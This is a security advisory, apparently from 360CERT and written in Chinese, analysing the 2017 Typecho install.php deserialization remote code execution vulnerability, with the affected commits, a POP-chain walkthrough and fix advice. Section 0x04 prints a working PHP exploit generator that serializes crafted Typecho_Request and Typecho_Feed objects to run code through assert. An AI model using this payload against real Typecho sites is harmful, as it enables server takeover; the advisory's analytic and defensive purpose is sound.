导语:2017年10月24日,typecho被爆出install.php页面存在反序列化任意命令执行漏洞,危害广泛
0x00 背景介绍
2017年10月24日,typecho被爆出install.php页面存在反序列化任意命令执行漏洞,危害广泛
0x01 漏洞概述
install.php一处if判断里直接处理了用户传入的序列化字符串,以及可以在现有框架中寻找到一条完整的pop执行链 导致任意php命令执行
0x02 漏洞攻击面影响
1. 影响面
几乎市面上的未及时更新的所有typecho都受到该漏洞影响
2. 影响版本
git commit 242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5
之前的几乎所有版本
3. 修复版本
git commit e277141c974cd740702c5ce73f7e9f382c18d84e
以后的commit
0x03 漏洞详情
1. 漏洞代码
这里可以预想,应该不会有显然在__constract()中写出危险操作的开发吧
所以把思路转向字符串拼接的时候
寻找下__toString()
其实只有三个class有这个__toString()
var/Typecho/Feed.php var/Typecho/Config.php var/Typecho/Db/Query.php
这里面大致出现了如下几种调用
$item['xxx'] $item['xxx']->$yyyy $this->
从这个点可以有些新的思考
因为是反序列化,对象中的属性也是我们可以控制的,那么现在去找找__get()方法
class Typecho_Config implements Iterator class IXR_Client class Typecho_Plugin class Widget_Themes_Edit extends Widget_Abstract_Options implements Widget_Interface_Do class Typecho_Date class Typecho_Request abstract class Typecho_Widget class Typecho_Widget_Helper_Layout
有这么些个函数是带有__get()方法的
有这么一处完整不经过变化处理的
然后直接由call_user_func执行构造好的指定代码
0x04攻击利用分析
1. Payload生成
<?php class Typecho_Request { private $_params = array('screenName'=>'eval('phpinfo();exit();')'); private $_filter = array('assert'); } $payload1 = new Typecho_Request(); class Typecho_Feed { private $_type = 'RSS 2.0'; private $_items; public function __construct($x1) { $this->_items[] = array('author'=>$x1); } } $payload2 = new Typecho_Feed($payload1); $exp['adapter'] = $payload2; $exp['prefix'] = 'c1tas'; echo base64_encode(serialize($exp));
0x05 漏洞利用验证
0x06 修复建议
1. 及时同步官方分支
2. 注释掉install.php相关代码
0x07 时间线
2017-10-24 typecho官方更新commit修复漏洞
2017-10-25 360CERT完成分析报告
2017-10-26 360CERT发布分析报告
0x08 参考文档
typecho “后门”分析: http://paper.tuisec.win/detail/3e924e55456f065.jsp